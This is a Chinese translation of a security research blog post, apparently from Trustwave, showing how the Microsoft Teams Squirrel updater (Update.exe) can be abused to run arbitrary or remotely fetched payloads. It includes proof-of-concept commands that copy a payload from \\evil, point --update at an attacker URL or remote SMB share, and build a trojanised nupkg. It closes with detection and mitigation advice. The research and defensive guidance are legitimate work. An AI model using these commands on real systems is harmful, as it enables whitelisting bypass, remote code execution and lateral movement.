0x00简介:
红队成员喜欢通过“合法”渠道寻找新的代码执行方法.这次,Microsoft Team 也是利用的目标.Team是一个有趣的利用点,因为它使用了称为Electron的现代技术.Electron基本上是嵌入在可执行文件中的nodejs.让我们使用Microsoft Teams附带的Update.exe深入了解应用程序白名单绕过.
0x01分析:
首先,将Teams.exe安装在以下位置
“%userprofile%\ AppData \ Local \ Microsoft \ Teams \”
这很奇怪.关于为什么这是一个坏主意还有很长的篇幅:
https : //www.masterpackager.com/blog/how-microsoft-teams-installer-should-have-looked-like-from-the-beginning
从红队的角度来看,好消息是,作为用户,我们可以完全访问整个文件夹的内容.典型的Teams安装应包含以下文件:
Update.exe实际上是Squirrel Updater,它是开源的。
让我们专注于应用程序的主要部分:
https : //github.com/Squirrel/Squirrel.Windows/blob/develop/src/Update/Program.cs
主要方法是调用以下方法:
int executeCommandLine(string [] args)
此方法解析命令行参数.可接受的参数在switch case语句中列出,如下所示:
switch (opt.updateAction) {
case UpdateAction.Install:
case UpdateAction.Uninstall:
case UpdateAction.Download:
case UpdateAction.Update:
case UpdateAction.CheckForUpdate:
case UpdateAction.UpdateSelf:
case UpdateAction.Shortcut:
case UpdateAction.Deshortcut:
case UpdateAction.ProcessStart:
case UpdateAction.Releasify:
}
马上,ProcessStart看起来很有趣.如果代码达到这种情况,则执行以下代码:
ProcessStart(opt.processStart,opt.processStartArgs,opt.shouldWait);
使用以下开关–processStart和--process-start-args将这两个参数传递给Update.exe .您可以看到是否列出了Squirrel用法,令人惊讶的是,帮助菜单没有列出这些奇妙的参数,通常这是我们进入某个领域的好兆头.
ProcessStart方法正在执行多项检查,我仅介绍相关检查.
var appDir = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
var releases = ReleaseEntry.ParseReleaseFile(
File.ReadAllText(Utility.LocalReleaseFileForAppDir(appDir), Encoding.UTF8));
var latestAppDir = releases
var targetExe = new FileInfo(Path.Combine(latestAppDir, exeName.Replace("%20", " ")));
// Check for path canonicalization attacks
if (!targetExe.FullName.StartsWith(latestAppDir, StringComparison.Ordinal)) {
throw new ArgumentException();
}
appDir变量包含Update.exe的路径.在这种情况下,releases变量将解析为最新的构建文件夹位置,即“当前”.如源代码中所述,if语句正在检查路径规范化攻击.这意味着–processStart的设置为
.. \ .. \ .. \ .. \ .. \\ windows \ system32 \ cmd.exe
将导致以下输出:
targetExe.FullName will equal to C:\windows\system32\
And latestAppDir will equal to C:\Users\*\AppData\Microsoft\Teams\current\
不幸的是,这将杀死我们的任意文件执行路径.但是,由于Microsoft的决定,没有将Teams安装到典型的“ Program Files”文件夹中,因为当前用户可以完全写入AppData.
为了能够执行任意文件,我们只需要将其复制到
C:\Users\*\AppData\Microsoft\Teams\current\
文件夹中即可.
然后,代码最终将达到致命点,如下所示:
Process.Start(new ProcessStartInfo(targetExe.FullName, arguments ?? "")
{ WorkingDirectory = Path.GetDirectoryName(targetExe.FullName) });
此时,您通过Microsoft Signed二进制文件执行了二进制文件.
0x02:简单的概念证明:
Copy \\evil\payload.exe C:\users\*\AppData\Local\Microsoft\Teams\current\ && C:\users\*\AppData\Local\Microsoft\Teams\Update.exe –processStart payload.exe –process-start-args go.
总之,Squirrel适当地减轻了任意文件的执行.但是,Microsoft决定将Teams安装在用户可写的位置,以使攻击者无法通过进行的安全检查.
还记得开关的例子吗?
让我们看一下UpdateAction.Update.update操作支持–update参数,这是更新网站的URL.
Update方法正在执行以下操作:
var updateInfo = await mgr.CheckForUpdate(intention: UpdaterIntention.Update, ignoreDeltaUpdates: ignoreDeltaUpdates, progress: x => Console.WriteLine(x / 3));
await mgr.DownloadReleases(updateInfo.ReleasesToApply, x => Console.WriteLine(33 + x / 3));
await mgr.ApplyReleases(updateInfo, x => Console.WriteLine(66 + x / 3));
更新检查是根据指定的URL获取RELEASES文件.RELEASES格式非常简单:SHA1软件包大小.预期的文件是nupkg.幸运的是,Teams非常友善地提供了一个Nupkg软件包的样本,作为Teams安装的一部分.
下载文件后,将启动Squirrel进程.通过解压缩Teams nupkg文件,显示Squirrel.exe的位置:
Teams-1.2.00.13765-full \ lib \ net45
将Squirrel.exe更改为您的有效负载,并确保将其重命名为Squirrel.exe.压缩整个文件夹,并使用适当的哈希值和大小更新RELEASES文件.
在这种情况下,RELEASES文件具有以下结构:
53329bb727098e84ecf7d7f897de1bc501268cd1 Teams-1.2.00.13765-full.nupkg 1185211
为了能够执行程序包,在这种情况下,只需指向您的URL:
Update.exe –update https://www.xxx.com
Enjoy your shell.
0x03观察分析:
最初发现允许恶意行为者使用MS Teams Updater下载他们想要的任何二进制文件或有效负载.这种技术通常被称为“Living Off the Land ”,并且由于使用已知的通用软件下载恶意软件而特别危险.
先前为Teams提供的补丁是为了限制其通过URL更新的能力.而是,更新程序允许通过共享或本地文件夹进行本地连接以进行产品更新.
最初,当观察到这一发现时,发现它仍然可以用作横向移动的技术,但是,发现通过指向远程SMB共享可以轻松绕开添加的限制.
0x04合法事件:
%localappdata%\Microsoft\Teams\update.exe --update \\fileshare\<redacated>\AppData\Roaming\Microsoft\Teams\DownloadedUpdate
%localappdata%\Microsoft\Teams\update.exe --update \\fileshare\<redacated>\AppData\Roaming\Microsoft\Teams\DownloadedUpdate
%localappdata%\Microsoft\Teams\update.exe --update \\fileshare\<redacated>\AppData\Roaming\Microsoft\Teams\DownloadedUpdate
%localappdata%\Microsoft\Teams\update.exe --update
0x05当前补丁:
根据补丁程序,Microsoft Teams Updater将仅允许本地网络路径访问和更新,这意味着它将在更新程序URL,块和日志中检测字符串
"http/s", ":", "/"
和端口号下的活动
%localappdata%\Microsoft\Teams\SquirrelSetup.log
它允许以本地UNC格式进行共享访问:
\\ server \
要利用此漏洞,攻击者需要:
在打开的共享文件夹中获取网络内部的文件.从该共享访问有效负载到受害机器.看起来情况很复杂,路途漫长,但我们可以使其成功.
0x06 Remote Samba:
为了减少攻击步骤,攻击者可以创建远程共享,而不是本地共享.这将允许他们下载远程有效负载并执行,而不是尝试通过中间步骤将有效负载获取到本地共享.
对Samba进行了一些研究,并配置了Samba服务器以进行远程公共访问.成功安装后,启动了命令执行,下载了远程有效负载,并直接从Microsoft Teams Updater“ Update.exe”执行
Command: Update.exe --update=\\remoteserver\payloadFolder
0x07脆弱的端点:
%localappdata%/Microsoft/Teams/update.exe
0x08进攻部分:
要利用此漏洞,必须首先制作支持更新程序框架的有效负载
一、创建有效负载
提取任何nupkg包,在我的示例中为Teams-1.3.00.27559-full.nupkg
转到
%localappdata%/ Microsoft / Teams / packages
以选择Microsoft Teams预先构建的软件包
转到
Teams-1.3.00.27559-full \ lib \ net45
将您的shellcode拖放为"squirrel.exe",将完整文件夹压缩为"Teams-1.3.00.27559-full.nupkg"
使用以下命令计算元数据:
sha1sum Teams-1.3.00.27559-full.nupkg && wc -c <Teams-1.3.00.27559-full.nupkg
输出为:
fa8b87f0b995498a6e890c832dcaf968997608d4 Teams-1.3.00.27559-full.nupkg 4695
创建一个名为RELEASES的文件,并复制以上输出并保存.
其结果将是一个包含两个文件的主目录:
Teams-1.3.00.27559-full.nupkg and RELEASES.
将这两个文件上传到远程Samba服务器:
二、需求:
由于它是Samba服务器,因此需要首先从Windows“运行”对服务器进行身份验证.
三、重现步骤:
转到受害者系统上的目标应用程序文件夹
“%localappdata%/ Microsoft / Teams /”
运行以下命令:
update.exe --update = [Samba服务器包含上述2个文件],
例如update.exe --update = \\ remoteserver \ payloadFolder
几秒钟后(等待10-15秒),有效负载将被成功下载并由Microsoft Teams执行
受影响的参数:
update.exe --update = \\ remoteserver \ payloadFolder
update.exe --updateRollback = \\ remoteserver \ payloadFolder
POC验证视频
视频链接:https://player.vimeo.com/video/444679044?api=1&player_id=vimeo_id_0
0x09影响:
Microsoft Teams Update.exe二进制文件将充当LOLbin(删除Land二进制文件)
由于安装位于本地用户Appdata文件夹中,因此不需要特权访问.攻击者可以借此伪装流量(尤其是横向移动)
0x10Trustwave建议:
从威胁搜寻的角度
利用EDR解决方案,并查看“ update.exe”命令行中的可疑连接.寻找squirrel.exe可执行文件并调查文件的大小,您可以使用该文件来区分特洛伊木马和合法的squirrel.exe
如果您正在与Microsoft Teams“ update.exe”打交道,请验证大小和哈希值,寻找任何异常情况.研究传出的SMB连接,尤其是从Microsoft Teams更新程序update.exe中进行传出的SMB连接,或者在必要时完全在外围过滤SMB连接.
请求客户或IT寻求Microsoft Teams软件包放置的任何安全排除措施,并查看所应用的更改.
IT部门应将Microsoft Teams安装在“ Program Files”文件夹下,以使攻击者无法删除并执行远程有效负载.这可以通过组策略来执行.
禁用任何类型的更新机制,并设置仅由IT团队推送更新的策略
文章原文地址:
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/microsoft-teams-updater-living-off-the-land/
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有